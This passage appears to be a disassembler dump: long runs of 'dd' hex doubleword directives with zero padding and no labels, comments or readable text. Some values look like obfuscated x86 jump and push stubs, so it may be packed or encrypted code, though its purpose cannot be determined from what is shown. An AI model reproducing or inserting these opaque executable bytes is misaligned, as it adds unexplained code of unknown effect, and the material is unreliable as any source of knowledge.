		dd 61C090ABh, 0A15FC0E1h, 79AA520Ah, 0D4F83729h, 9AE19A5Eh
		dd 4619316Ch, 0DB3F4F4Ah, 4F9D7DB7h, 0AF8BA8E8h, 0C240F33Ch
		dd 84C355E4h, 97F30B82h, 54C6A173h, 0D2000000h,	0AF086580h
		dd 53F0929Ch, 966CC117h, 87B51C5h, 3AFD32E4h, 35FF6CC8h
		dd 0EEBDFA11h, 65D3F043h, 439AA9F6h, 3519D3F0h,	0F38AF911h
		dd 5954DED5h, 0D3F043EAh, 38F31AC5h, 0A86A2521h, 708BF114h
		dd 6DA7DAE9h, 4306D552h, 79DD53F0h, 9467B5h, 8B8D0000h
		dd 5AD8D5F4h, 20E8362h,	0EF137787h, 0A9F661DCh,	53F0929Ah
		dd 0FEFF3519h, 49DC6A34h, 2E3149CDh, 29D611Ch, 3C7D8D00h
		dd 55E49B00h, 98A7CE09h, 0A9043766h, 0E49B3D0Ch, 0B9D2B655h
		dd 0E49BCD7Ch, 30C24655h, 9BE10080h, 5776F560h,	0C5C0CD5Ah
		dd 0D2C351B5h, 4FCFB0A7h, 0DFA0D8BCh, 0B1CEFEADh, 92ED1D90h
		dd 580C3C71h, 2D52D83Fh, 6E7FA7CEh, 3544E11Ah, 0CE45F55Ah
		dd 0B723314Ah, 1ADE14DEh, 2E5D151Fh, 0DC8A335Fh, 0C26FFF25h
		dd 9EFA1236h, 61809294h, 2875E01Bh, 53F09219h, 0DF0CF438h
		dd 77B53DCh, 5BB6F103h,	848E0704h, 0DBDDFA09h, 0E6157949h
		dd 0E398C06Eh, 57D05310h, 55EB36E4h, 3DF71B7Fh,	0D1CCFE81h
		dd 0FDB0D24Dh, 0CA4A6CCDh, 8473E3C5h, 712C5E6Dh, 9D1032ADh
		dd 0B9F4126Dh, 740B0681h, 9D65C59h, 11A1A3E2h, 524947EFh
		dd 82BADE3Ah, 811EE206h, 2EFC0C7Fh, 8, 0D8F48B44h, 415357DDh
		dd 4346767h, 3A52497Bh,	5E6E2925h, 71890401h, 0AAA2DFEEh
		dd 0C3FBB6D5h, 0E7178EBCh, 18306D98h, 27574647h, 0E189511Fh
		dd 4C181h, 0BF570000h, 4, 875FF929h, 685C240Ch,	630Fh
		dd 53242C89h, 0C381E389h, 4, 4EB81h, 1C870000h,	1C895C24h
		dd 14496824h, 14890000h, 0DA70BA24h, 0D589061Ah, 28BD685Ah
		dd 24890000h, 24048124h, 4, 0DFB8505Bh,	355E035Ah, 55E159E7h
		dd 0E2DE50Dh, 16CB257Ch, 0D8F70C8Ch, 73F93F35h,	89D801F3h
		dd 34FF5828h, 0C4835B24h, 2434FF04h, 4C4815Dh, 0E9000000h
		dd 0FFF9A108h, 6FD0733Ah, 4F8F8299h, 4410FCDDh,	4DB873ECh
		dd 3061ADFh, 27E0FFC5h,	0F564ED1Eh, 7D000CBBh, 757AAF85h
		dd 0EA683AE5h, 0FB6E2E92h, 2557C24Ch, 0F968BA6Fh, 0A5299471h
		dd 712EB821h, 78161379h, 8B16EE94h, 75C502Ah, 0C55278FDh
		dd 4B3C4C2Bh, 8A662923h, 1661ABB0h, 7429EB81h, 0D7646BCFh
		dd 55169EC2h, 60680D0Bh, 0A40F3D78h, 9B19B2FDh,	8A4A583Eh
		dd 0C66A15A0h, 0E8520351h, 333F5723h, 0E93913C2h, 2Bh
		dd 385B356Ch, 9	dup(0)
		dd 0E9000000h, 578h, 60A4D7F7h,	53D7C6C7h, 38FCB9D4h, 26EAA1AFh
		dd 13178AB9h, 0EF1EA488h, 0D4F16EB2h, 0BECA55D9h, 9EA03FC3h
		dd 0F34E2BEFh, 0EA7287B2h, 74F71C55h, 5AD8D3F5h, 366567D0h
		dd 0C8DF9506h, 0F1267DD3h, 0ADCD0E13h, 0B60ED77Bh, 0EDA0AF7Ch
		dd 80025229h, 0F0D32BC6h, 0B1D3888Ah, 0C956C1FAh, 53F04C7Ah
		dd 2F9F95F9h, 0E7A2ADBCh, 0EAA173D7h, 0CA95A5D8h, 90B4C4B9h
		dd 8FB1D027h, 838F181Ch, 4944401Fh, 0A594D531h,	3E53F04Ch
		dd 0B584215Ah, 0CE53F04Ch, 45E2264Ah, 1F9AB549h, 37476BEFh
		dd 0FE8785C4h, 0B5C6CD6Fh, 3E4E7222h, 868358DAh, 0A3DBD2F4h
		dd 8C0B0327h, 0B0746ADh, 0E7E47B90h, 0F83A9EAEh, 0EE9DAF38h
		dd 781887DDh, 1EE6A2BDh, 3C98B0EDh, 39AA1A18h, 536B2622h
		dd 8EB03DF7h, 0B353F02Eh, 504B7900h, 8956DC38h,	48CA1062h
		dd 55148595h, 70C36C36h, 0F353F022h, 0F7536B8Fh, 52423Dh
		dd 676E0000h, 0A7063665h, 53F0929Ah, 539FF699h,	85948C8Dh
		dd 0D29h, 242F3E00h, 0C3C7192h,	0F0546488h, 0F48B3822h
		dd 6F2623D5h, 5DD7334Bh, 8007D8Eh, 17275677h, 4B433A48h
		dd 0D649A00Fh, 0B037A97h, 0B5D6858Fh, 99AB34F8h, 7492E9E2h
		dd 0F53FFB39h, 0DDD8F48Bh, 34EB29ADh, 1C639815h, 407CB6EFh
		dd 6C9F0E3Fh, 98B0EB1Dh, 92BF8A2Bh, 503453F0h, 0A39E1F2Ch
		dd 2053F092h, 89D6D65Ch, 6BF40477h, 0E117275Eh,	81F73B52h
		dd 95001B72h, 0F0923908h, 0DB91853h, 0AC437B18h, 9DAB74D8h
		dd 0A072D6E6h, 5DA1DCEBh, 0BDCDC0C2h, 0F211A7A2h, 83C0FA8h
		dd 0D3B753F0h, 0EC738BAFh, 0D7A8A0DDh, 2A59C6B5h, 54034777h
		dd 6DE8F53Dh, 2536F406h, 6AA08595h, 0C000000h, 0AC9F188Bh
		dd 2753F092h, 0B3AD123h, 0EE196696h, 10FF9BB3h,	252726F9h
		dd 0F707828Dh, 0F6A56F93h, 0D160CDD7h, 5253F092h, 0D946CAEEh
		dd 85C4F7AAh, 95F10984h, 32502F9Fh, 48D5407Bh, 53F092F9h
		dd 0A01C167Ah, 809BF21Dh, 0A7D7CAF9h, 0F309D123h, 0E385948Ah
		dd 39h,	356867C9h, 534E7A05h, 0A9C00F3Bh, 0F2366B9Ah, 37666720h
		dd 92A4A607h, 0F69953F0h, 94118C9Fh, 53F092A5h,	1892B19Ch
		dd 0FACE4795h, 2EFC9C96h, 488594FAh, 1,	9F188B64h, 53F092ACh
		dd 9274C760h, 8B8F53F0h, 0AC15337h, 0A04D79FFh,	0CCEC05C5h
		dd 0C1F91D26h, 0BA292145h, 251CA5A3h, 697494FFh, 0DC7381A5h
		dd 84DBF3AAh, 6FF00885h, 0B5112964h, 16265B6Ah,	0A46E8572h
		dd 0E3D5483h, 2828603h,	396695E3h, 49DC24F9h, 99E6167Ah
		dd 0E39C667h, 908B771Ch, 0D3FA86Ch, 72CF6E9Eh, 7555E436h
		dd 56454706h, 8B50A226h, 68232564h, 3B64D7A4h, 55E43608h
		dd 54517C8Bh, 76BCA024h, 42E3A7D9h, 55E436F7h, 0A39E1F0Ch
		dd 2055E436h, 0E414385Ch, 512CE177h, 0E1C5B605h, 7D8D0806h
		dd 42441B19h, 202C334Bh, 0F80A5565h, 34437585h,	0D46355DDh
		dd 17C8EBDh, 788B51FDh,	302B8BA9h, 81000001h, 0E01B6180h
		dd 0AE9D1A75h, 2553F092h, 64E2D321h, 9D49DC90h,	0CCFE81B9h
		dd 263E4DD1h, 0EB9B3CB8h, 2BE032F3h, 0F96A6219h, 0BD57186Bh
		dd 2A2167E6h, 0E41CBE8Dh, 0C3513555h, 8B83FA0Ch, 0A8D73E5Dh
		dd 0B5F01C96h, 6FFE8D91h, 6EA2863h, 8BA91AD8h, 4FE6h, 9F188B00h
		dd 55E410ACh, 6FD12327h, 0EC1F6580h, 0F0929043h, 0DFEF53D3h
		dd 0F092E35Eh, 0EC03CCD3h, 0AAA1AF3Ah, 0DFF7293Fh, 53475Ch
		dd 9AD083F2h, 155453F0h, 0B8FBFFAh, 4E67F909h, 0D15A67EDh
		dd 84BCC57Bh, 293FF092h, 8C2B0105h, 41000000h, 0E01B6180h
		dd 0DC6A8347h, 0FB107449h, 0E62C6964h, 0EF87B9C6h, 3692AAE1h
		dd 6F910E12h, 9ABF8A2Bh, 0AB3455E4h, 73D7E79Eh,	40102B4Fh
		dd 0B5279C0Ch, 6A66CF1h, 0E49999A7h, 0E659255h,	45404C13h
		dd 3756D135h, 4CC6427Ah, 0FA3E6D9Fh, 0FE0D7B8Ah, 0CFB86EB1h
		dd 6961E54Fh, 81B9F416h, 66C0D706h, 5DDAF187h, 45F55F02h
		dd 404C138Eh, 88D13545h, 41B95FB9h, 44387391h, 0A93632C0h
		dd 38FCE09Bh, 960F3C43h, 0B3EE1966h, 8083858Fh,	99E01B61h
		dd 0CDFE3467h, 0DBB33D60h, 99067149h, 55EA72AAh, 9BEF2529h
		dd 0C6F887B7h, 0B2D453D7h, 0F862C3FBh, 0E1972841h, 9EA0DF36h
		dd 8ABC2BEFh, 6664FB13h, 0CC5C6FDDh, 5B7F24AEh,	1E75A423h
		dd 534A7C03h, 6F5D2D3Bh, 86CFD1FEh, 0C9FB9062h,	96ABB9D2h
		dd 215BA7BBh, 0DF48080Ah, 0FCCEFEADh, 0Ah, 0D7F48B7Ah
		dd 0E82AAEDEh, 6767DAD8h, 497B0434h, 29253A52h,	4015E6Eh
		dd 0DFEE7189h, 0B6D5AAA2h, 8EBCC3FBh, 6D98E717h, 46471830h
		dd 531F2757h, 0C381E389h, 4, 8704EB83h,	248B241Ch, 104A6824h
		dd 1C890000h, 6EC96824h, 34890000h, 21DA6824h, 4890000h
		dd 1A51B824h, 0E8C101EDh, 1BA80D08h, 0D6055F5Eh, 89A6BAE0h
		dd 8B5458C3h, 0C4832434h, 4EC8304h, 0B9240C89h,	8, 1989F101h
		dd 2434FF59h, 4C4815Eh,	8B000000h, 8952241Ch, 4C281E2h
		dd 81000000h, 4C2h, 24148700h, 9ADEE95Ch, 0B7A2FFF9h, 6AA5D88Eh
		dd 1AE587B8h, 0FFC50306h, 0A27CA3E0h, 0E20D4F66h, 9367A17Bh
		dd 1A512D22h, 0B74AEA50h, 0B174C334h, 5C16316h,	0B823A12Ah
		dd 97057936h, 0A82C2833h, 6D73C26Bh, 0A5102F2Eh, 1DC4A217h
		dd 0B8964963h, 0A28CF81Dh, 0FE8D8D01h, 0E8061AE6h, 0Ah
		dd 9BAE986h, 0BE6F1F0Fh, 0BE95696h, 0FF000000h,	0EFE606E6h
		dd 404118Ch, 895FABC9h,	142B698Dh, 0D59D0306h, 0C7061425h
		dd 14105585h, 6A4406h, 38F0F00h, 80000000h, 85C7E9E2h
		dd 614013Dh, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 4EC35646h
		dd 0EBDD8CDBh, 0BCA62A4Ch, 89B5FF08h, 6A061423h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 3374C355h, 4B64B98Dh, 0FFCDE04Bh, 140BD995h,	858D3106h
		dd 6A061419h, 7195FF00h, 8B061429h, 801CEBC0h, 0C55A1688h
		dd 688E87E0h, 4599C878h, 0FDF12EFBh, 189387ABh,	342259E6h
		dd 0E90C7728h, 39h, 35F3DE83h, 0Dh dup(0)
		dd 4CDE900h, 0A9680000h, 0E9061AE8h, 0FFF99974h, 1AE91068h
		dd 996AE906h, 6C68FFF9h, 0E9061AEAh, 0FFF99960h, 70B4E7E7h
		dd 63A7D6F7h, 48CCC9C4h, 36FAB1DFh, 23E79AA9h, 0FF0EB498h
		dd 0E4E17E82h, 0CEFA65A9h, 0AED04FD3h, 0E35E3BFFh, 0EA75F742h
		dd 64C70C55h, 9CACE7E5h, 6770FA38h, 7A053568h, 0BAD15548h
		dd 0DDEDA8A3h, 0E203BB79h, 0AD0A6596h, 53F0929Eh, 0C0E33115h
		dd 0DC658B67h, 0A0D8BC49h, 661F2C33h, 0B520F256h, 55E4858Ah
		dd 0DB233168h, 0B9881527h, 3A55E482h, 3863C056h, 0FA11FE34h
		dd 0A97A32F8h, 62F48C8Bh, 9826C925h, 60F8B973h,	0E9F7888Eh
		dd 307582Bh, 97ED0000h,	3E7F3F39h, 55E45603h, 0C6ABC80h
		dd 6DD75DEBh, 5EAF591Eh, 6294112Ah, 0BC49DC6Bh,	0EA189EADh
		dd 7D858FB3h, 689D43EBh, 0FF0C13DBh, 0E4B883BEh, 183C0055h
		dd 1FC60021h, 92735619h, 86B6F11Dh, 40ED1E02h, 4AA5FECAh
		dd 5C14272Bh, 62D0A0Eh,	46145322h, 0BD732DC3h, 64DCE82Ah
		dd 5BC4F785h, 40511832h, 51E1E37Ah, 0C94D7D30h,	0F63195A5h
		dd 2858DAD7h, 36481724h, 2224C347h, 1300337Ch, 0BF835C51h
		dd 0ADE4949Bh, 2C9C5F8Ch, 2EF1Eh, 0C3BECE00h, 0EE9FA03Fh
		dd 1792BD2Ah, 3F769413h, 205D6CFBh, 0CD755FDCh,	0A03FC3BEh
		dd 0B926EAA3h, 910E128Dh, 9DF83C6Fh, 7AB2812Eh,	823155EAh
		dd 1B61801Eh, 192875E0h, 9A53F092h, 0E2437CB6h,	49DBB573h
		dd 0E8778488h, 0C760A4D9h, 4A5D5C8h, 55EA7538h,	255877F6h
		dd 9F0E30EFh, 1347F298h, 0C1E8E69h, 288h, 0E0245777h, 0D3574647h
		dd 0B87C3954h, 0A66A212Fh, 93970A39h, 6F9E2408h, 5471EE32h
		dd 3E4AD559h, 1E20BF43h, 73CEAB6Fh, 0EA7B0732h,	4D779C55h
		dd 0E01B6180h, 0DBB5D047h, 17272B49h, 0EA75B796h, 638A5555h
		dd 61D05DC8h, 0E255EA75h, 26F4949Eh, 0B08BAF70h, 1B5h
		dd 0FEF68FC5h, 0C1C964DFh, 14FEBA55h, 6BA9CD6Dh, 216567E1h
		dd 6B722F5Ah, 53F092D8h, 0AFDFCEF0h, 0CFF3572Bh, 0EF9EA0BFh
		dd 0FE8A5B2Bh, 63AE60CDh, 790049DCh, 0AADE5447h, 281796A6h
		dd 0CA55E483h, 77688D7h, 0E79D93F7h, 0C9AAD4BFh, 0B3DAA173h
		dd 0A92879A7h, 32058Bh,	80930000h, 47E01B61h, 49DC6CD7h
		dd 0FAB1DF28h, 2A2246C2h, 0E49CB48Bh, 60B75655h, 0A89ACC12h
		dd 7EBF2A8Bh, 55E490C3h, 0D1A5E0EBh, 0E4C4A76Dh, 0D0000000h
		dd 0D8D5F48Bh, 1F83855Ah, 0F092A39Eh, 385C2053h, 43517C03h
		dd 0F09257E2h, 4468EC53h, 6242D034h, 3748EE1Dh,	55D23646h
		dd 27577B36h, 47772658h, 5A6C0638h, 0B2FB3F23h,	53F097EDh
		dd 732E5A21h, 5ED8EAA1h, 3A517530h, 5C6C2723h, 0D7E3AF8h
		dd 97261592h, 0D9BD53F0h, 0F682635Bh, 0F2A458C5h, 0A9AD49DFh
		dd 0C1BCCB92h, 0EEA3A23Dh, 17848D29h, 0E5B72769h, 12Ch
		dd 7C80FB0Bh, 67ABE2E3h, 4CD0CDF8h, 3AFEB5D3h, 1FE39EADh
		dd 0FB0AB89Ch, 0E8E58286h, 0D2FE69ADh, 0B2D453D7h, 0E75A37FBh
		dd 0EA788B46h, 0C1CB0855h, 6356867h, 321A684Eh,	0DF849A17h
		dd 0FEBA7842h, 0A695128Dh, 3D53F0E9h, 0E952E14Eh, 6DD153F0h
		dd 0F214CB49h, 0CBF980BBh, 0E59642D0h, 0E91E2D8Ah, 4A9553F0h
		dd 0CD49413Ch, 67E16BA9h, 79063665h, 0B0D05447h, 5C8DD951h
		dd 7883ABA6h, 0DFEF9EAFh, 0FB24577Bh, 49DC9845h, 0A2911E89h
		dd 2155E590h, 0AF93D75Dh, 0C3BECD9Ch, 90CF7E3Fh, 7C0355E5h
		dd 0EDD574Eh, 0E27D81FCh, 8C9EAEE3h, 7Ch, 1B61802Ah, 0B5D447E0h
		dd 0D92F49DBh, 0A56C3DC7h, 910C3DB9h, 0D5F91D79h, 0F5A8DAA5h
		dd 7FCA6BC6h, 0F455EA01h, 0A5D68290h, 0BAFBA9A6h, 55EA018Fh
		dd 161C0004h, 24544779h, 0E796A8B7h, 34A173D7h,	0A193D278h
		dd 205FB661h, 3CAB6F1Eh, 0E47B930Ah, 389FAFE6h,	7193B2D9h
		dd 0A4C8C3C1h, 0BA95C197h, 5914F8BEh, 1D6C1FDBh, 0AD62B0EBh
		dd 0B3EA1B9Bh, 0E31B3F9Bh, 3D1h, 0A68C5F00h, 4346767h
		dd 3A52497Bh, 5E6E2925h, 71890401h, 0AAA2DFEEh,	0C3FBB6D5h
		dd 0E7178EBCh, 18306D98h, 27574647h, 5124681Fh,	14890000h
		dd 3D426824h, 0C890000h, 44076824h, 1C890000h, 4EC8324h
		dd 0B8240489h, 61AE780h, 5458C189h, 81241C8Bh, 4C4h, 4EC8300h
		dd 89240489h, 84389C8h,	241C8B58h, 81E78957h, 4C7h, 4C78300h
		dd 5C243C87h, 51240C8Bh, 0C181E189h, 4,	8704C183h, 0E95C240Ch
		dd 0FFF994BCh, 0BCF13FBDh, 0F875DBDDh, 0B8E38C81h, 61AEBBDh
		dd 0E0FFC503h, 388ECBF4h, 141567F2h, 211F1ED1h,	3112C9C5h
		dd 471C3D55h, 1F59CED6h, 4C44609Bh, 66C2C6ECh, 5C770578h
		dd 3881DD7Ch, 359C9FB2h, 29E62E21h, 649814E8h, 39E9h, 840D0400h
		dd 56h,	0Ch dup(0)
		dd 0ECE90000h, 6800000Ah, 61AEDFEh, 0FA56D4E9h,	0EF0768FFh
		dd 0CAE9061Ah, 68FFFA56h, 61AF124h, 0FA56C0E9h,	0F1DE68FFh
		dd 0B6E9061Ah, 68FFFA56h, 61AF371h, 0FA56ACE9h,	0F50B68FFh
		dd 0A2E9061Ah, 68FFFA56h, 61AF5EAh, 0FA5698E9h,	0E03F93FFh
		dd 4FDE35B3h, 2885C818h, 0F12C6DFBh, 59D20242h,	5906C72Ah
		dd 0F10FA4F7h, 95D3009Bh, 2CBCEB42h, 6C02B1EEh,	6DEFD5EDh
		dd 0BBB33982h, 0FB386636h, 77ACEA82h, 30336CC0h, 921C2D55h
		dd 3CAE3573h, 91EFD149h, 59FD397Bh, 3EB1FE05h, 366B8D54h
		dd 8E000000h, 35D8D98Ah, 8B2EBD0Ah, 541275Fh, 97413368h
		dd 2D4ACB65h, 1B029DF3h, 14D9E969h, 0AE357414h,	0EFD1493Ch
		dd 0FD397C0Bh, 0B1FE0559h, 6B8D549Ch, 0CDh, 0FB38668Eh
		dd 71AAEA82h, 0DBBF8F0Ch, 0A13955DBh, 0F727C141h, 6BABC5B8h
		dd 87A79F34h, 7336851h,	0DD2B58D7h, 0DE3F267Dh,	16DAFC60h
		dd 304E2EC2h, 95D74EDFh, 0EFEC9FADh, 79DF416Eh,	39222226h
		dd 59357415h, 6B0478AFh, 21D5ED68h, 0E53B858Bh,	0DBFF227h
		dd 0C813E300h, 2267B098h, 60467CD9h, 20336A5Ch,	454D2B6h
		dd 0D137CABh, 29F753CAh, 1E0FB4E7h, 2026A89Fh, 8BC65B5h
		dd 36980000h, 0D53A4AF9h, 7CD12F44h, 2372F221h,	0C90B598Eh
		dd 71BE2156h, 6BDEE2Eh,	0EA1992C6h, 0B3E0399Ah,	194EE535h
		dd 0F8DEE465h, 8839826Eh, 366639A4h, 0E03E4EE5h, 0FB5AC243h
		dd 0E06DA2A6h, 27A94F12h, 0FC021C4Dh, 33683716h, 0CA4EF86Ah
		dd 0DAD98A0Fh, 7EEC5A7Bh, 0DEBE9C62h, 0E5AADABEh, 0FD35740Fh
		dd 0CAB3EE2Fh, 81F96C9Eh, 397C0F9Fh, 5BB06CADh,	29295BC2h
		dd 5AAB185h, 0B78D54A1h, 0E2h, 0FB38663Ah, 71AAEA82h, 8676960Ch
		dd 0E8363367h, 0C07CCA4Bh, 4798FA3Ch, 0FA43B49Ch, 0C9BCED22h
		dd 0F24C3248h, 0BA543367h, 0C01E0808h, 7C9DFA63h, 473E6FA0h
		dd 0F23B2105h, 95473367h, 94A89079h, 147C7E8Ch,	0D7B6B5E6h
		dd 73B0C6AFh, 2B2AC435h, 0DB0BA2F5h, 66DE2A9Ah,	49BE9A5Dh
		dd 0DB3A76C4h, 7DC96B04h, 0B7B4E715h, 870FB0D6h, 0E1933B85h
		dd 0EB58B864h, 90C771A8h, 68AF0050h, 26A8B54Dh,	0B376A411h
		dd 61000007h, 341F62Dh,	0A6265DCCh, 7B893E73h, 1050871Ah
		dd 0B5386FC0h, 4AE53768h, 1689CF1Dh, 0F93063E1h, 47DC3A4Ah
		dd 0E71F7E10h, 39827101h, 9920AD81h, 56F4AEA9h,	40C9900h
		dd 74DBA1Ah, 6DF3B194h,	0DC8CF12Ch, 140875A2h, 9D1240C1h
		dd 543A3363h, 9194BB8Eh, 882777B1h, 38665E5Bh, 51829AFBh
		dd 232765D8h, 950C4A22h, 3D12E56Ah, 6A99CB77h, 0EC2C15E5h
		dd 0C09094D0h, 7F2D108Dh, 43745CDh, 0B8E60607h,	0C8FE1F7Bh
		dd 3573C7BFh, 0F7286CB0h, 0A476D28Eh, 0DD3D53CAh, 0F2C1146h
		dd 7BC911F7h, 63E79139h, 7FDE5585h, 0C842285Eh,	0AC5E397Bh
		dd 64259DA4h, 6ABA35E9h, 0F38DF029h, 0C0A6DCA2h, 0C0B4B9E5h
		dd 1281E416h, 6483DE70h, 78B3E53Bh, 0A3E27418h,	79873C73h
		dd 2BA39A19h, 0B4B9E54Ah, 0B2AB0454h, 3D2079DAh, 4645860Dh
		dd 2494323h, 277796A8h,	0D9315E88h, 3465BB85h, 4F8F99F9h
		dd 0F525A3D0h, 424FC7BEh, 814DEB66h, 0BE1C2D01h, 99A68CB2h
		dd 8FAB214h, 0FB5BA9DEh, 1043C1A4h, 770C3213h, 0F8B420A6h
		dd 0D798EF0Ah, 0D0040BE6h, 0F7252D5Fh, 9161EE05h, 316285Eh
		dd 738989E4h, 2542C3C0h, 3F1B96FBh, 2D7AEA07h, 0BE12A8AEh
		dd 0F4DAE06Dh, 8CB2157Ch, 45BDA0D2h, 0B2157C64h, 4992A468h
		dd 5EE2A24h, 38194h, 256BB500h,	71D1938Ah, 13D2C1E4h, 81E6CCF2h
		dd 0C8BA3367h, 2E013248h, 9DCFB6EBh, 43DCE263h,	0C735738Ah
		dd 0A3F42815h, 0F151130Ah, 5BCD6FC7h, 50AEB87Dh, 6CE18B91h
		dd 0ACDEBA01h, 7495F0F3h, 4F3667A8h, 880D351Dh,	1ABC8E20h
		dd 0E033ED68h, 5BB8C949h, 0EC84ACEBh, 42789471h, 0B475855Ch
		dd 0EC184A24h, 775A1540h, 6795FD5Dh, 4AB13534h,	4428A21Bh
		dd 0A1DBC1F9h, 35A7B475h, 3162BA9Bh, 0FF2986D4h, 3C4C729Bh
		dd 0C0B67F1Ah, 0A9E93716h, 0AC70DD0Ah, 0CA4B326Bh, 80D9CEB4h
		dd 0F620D2BAh, 0E9469492h, 922225AAh, 0AE6CD99Fh, 596h
		dd 64931042h, 0C97EAFE4h, 0ACDB56BBh, 73A0FD5Ch, 0DB08A3F5h
		dd 0C8085790h, 6CA02057h, 13448433h, 0BF1F6D9Ah, 3A1B3360h
		dd 82721E04h, 78A6239h,	7BDAD98Ah, 128FC25Ah, 7620FE2h
		dd 19799975h, 7450E0E9h, 8DF06235h, 190CA3F3h, 0EB4618BAh
		dd 0A4DABBB8h, 3B88559Bh, 0D6164D3Fh, 0F22A2B88h, 6B190C9Dh
		dd 5886D6EFh, 0D73B62DBh, 93104E7Fh, 0DB91DE64h, 570B8740h
		dd 0AE000002h, 0A2F6D98Ah, 487EDF09h, 357D6DB3h, 6DCC4EBCh
		dd 0ACF5B802h, 0B98476A4h, 4DFA3567h, 0DB42DD3Fh, 0B2815463h
		dd 0D6EC0DD2h, 2D4D7EF0h, 0A442C6B0h, 4B9A3976h, 0BF2CC57Dh
		dd 4DC8846h, 56B80000h,	0F55AAAD9h, 9CF10FA4h, 4392D201h
		dd 0E92BB9EEh, 11DE01B6h, 669D0E4Eh, 0CA79B2E6h, 93C059BAh
		dd 79AE0555h, 0D8BEC445h, 0A8398272h, 0D98AD944h, 0AE437BDAh
		dd 54357D6Dh, 6DADC3BAh, 13438136h, 87D7A99Ch, 806A3528h
		dd 0F34360AEh, 199F79A9h, 8B71D5F5h, 17398269h,	0D3031D65h
		dd 5E821D70h, 5FDA08A8h, 97D548FAh, 0D4041865h,	708FF5Bh
		dd 1A7BB219h, 8193FEE4h, 70D08239h, 5A24DF8Ch, 190598Dh
		dd 0AC700000h, 0E2D03467h, 88D5AC7Ah, 0DDA5E75Eh, 0FB386610h
		dd 0C90B1582h, 0D5BDEF56h, 0A9940B4Bh, 818C7288h, 7A143367h
		dd 437291Eh, 0EF000607h, 93357391h, 24067CE1h, 2A397B91h
		dd 90DA3DE3h, 7B91846Ah, 30621C39h, 8AC11F4Dh, 0BB933713h
		dd 543EFBB0h, 4EBD8Dh, 8A300000h, 437BDAD9h, 35738F7Eh
		dd 1BEB6A04h, 7CF3CCF5h, 9C6A4C9Fh, 158FFBE0h, 898D4BFBh
		dd 63D4E7CBh, 8668DEE7h, 16397C49h, 9A1979C6h, 359BF568h
		dd 0D63364FAh, 77352881h, 0ED1560C5h, 10840459h, 0DA78353Eh
		dd 9F208D54h, 0B5000000h, 82FB3866h, 0C71AAEAh,	0EC3F918Fh
		dd 0C75CBA64h, 53D00E5Eh, 86224224h, 0B4E23367h, 3B54C87Fh
		dd 0A4ED5D38h, 9087F833h, 7A80A9A9h, 3571622Bh,	0BBD8A557h
		dd 87FE3565h, 71A37DC5h, 0B684893Eh, 54A8A04h, 846A90FCh
		dd 1C397DF5h, 15843062h, 4A63C5C5h, 3F918F8Bh, 5C2EA7ECh
		dd 85F02095h, 34955h, 6CC31700h, 0CB62A937h, 94094C9Ch
		dd 7DB0E17Fh, 0C55686C6h, 0DD8243AEh, 75F3207Bh, 9578C1Fh
		dd 0A02057C6h, 0E8863D72h, 746B5169h, 3F373982h, 0E53666B2h
		dd 43E03E4Eh, 78998714h, 67815C42h, 344A2433h, 5AC44CE1h
		dd 0AEBEA7FCh, 60BF1F70h, 0FCAF8136h, 0D3689EFFh, 6F35738Eh
		dd 2E1288FDh, 4F397B90h, 41DA3EEEh, 14095DC1h, 31D787Bh
		dd 0B8E85DCCh, 0F489B1D8h, 7D3B879Dh, 4A336EA3h, 76E03A1Eh
		dd 8799D0C1h, 2163DA55h, 1897C721h, 940B4B25h, 8E2177A9h
		dd 0A8DBB58Ah, 8394AAABh, 7357392h, 0F13DF57h, 0BDEF56C9h
		dd 21D43101h, 479696F7h, 0C6576EEAh, 0E9BBA1D9h, 15C7397Bh
		dd 0E933152Dh, 1039397Bh, 0EA53CC0Ch, 2036DABEh, 549696DBh
		dd 2C068Dh, 8AAB0000h, 437BDAD9h, 35738F7Eh, 7BF36A04h
		dd 397B8F99h, 105BF3A7h, 8D54215Bh, 0ECDDh, 0E30EFC00h
		dd 2E85D50Fh, 8B37B5FEh, 3866C28Fh, 0AAEA82FBh,	22700C71h
		dd 399C808Dh, 47C381E4h, 9FF02E3Eh, 1EB5E73Ah, 67860828h
		dd 0E53A9833h, 7CA0C14Eh, 0E99B821Bh, 67858F75h, 0E1611333h
		dd 735AD707h, 6745F3E1h, 0E25EC771h, 0ABD3B2B1h, 3573AE9Ah
		dd 0BEDFBE28h, 7BADA288h, 0EB20FE39h, 0CF0000B2h, 2421225Dh
		dd 8552D51Eh, 3A1BF53Bh, 72AAB2E2h, 0B49A821Fh,	0CC336A0Ch
		dd 35B3E012h, 0F93664E3h, 9EF1784h, 99336A0Dh, 0AAD0BDEFh
		dd 336A0CC4h, 53F022DCh, 26A8EF30h, 0AF73A312h,	6D000001h
		dd 0F5D8A29h, 0A22251C8h, 4785326Fh, 1C6C9B16h,	0A93463BCh
		dd 4EE1336Ch, 2A85CB19h, 0FD2C6FFDh, 5BD80646h,	0EB13722Ch
		dd 39827705h, 6614999Dh, 0C14EE536h, 0A7A3FE5Fh, 0BB9A1979h
		dd 88FD3065h, 868778D8h, 9FFB3866h, 0DAD98AD2h,	8F7E437Bh
		dd 6A043573h, 8F997BF3h, 76A7397Bh, 49C962B6h, 0BF8F91A5h
		dd 55171899h, 9B8D3972h, 2A3DB11Dh, 4A98DF5h, 0B48D54AEh
		dd 9Bh,	0FB386639h, 71AAEA82h, 8676960Ch, 79C93367h, 30FF4CB5h
		dd 1806022Dh, 0BECE65BAh, 0FD5AC360h, 0D4BCF323h, 97F6F5A6h
		dd 74125E6Fh, 0C572EC35h, 5A3B386Bh, 856D7824h,	0DC31EF3Bh
		dd 0B92BC141h, 6D4FBFDCh, 0EC4FE3FEh, 0EF21FF5Bh, 0E60607BCh
		dd 1E7AB7h, 0CB385FD0h,	7F26A88Fh, 0D0C806h, 4A8C0000h
		dd 0E92EBED5h, 90C503B0h, 3766E61Dh, 0DD3F4DFAh, 0DCA1542h
		dd 7AA90252h, 0DE75A6EAh, 0A7DC4D8Eh, 0DBAF959h, 0E4CAF051h
		dd 0BC398276h, 366635B8h, 0E03E4EE5h, 66871443h, 1582FB38h
		dd 0F151C80Bh, 1B48E737h, 39ADC432h, 2AB4413Dh,	687F2E14h
		dd 56807233h, 0AEAFD8F2h, 0B1C87656h, 64E11339h, 7E62CD5Eh
		dd 9A837D35h, 0E61C3Dh,	8039819Bh, 66B472D6h, 0C4A9AC9h
		dd 21AE97h, 819A14FAh, 19216C39h, 39819A33h, 0E7639D4Fh
		dd 138DF9DFh, 0E0769C6Ah, 1C8DCE5Eh, 11F7B29h, 0A72552D1h
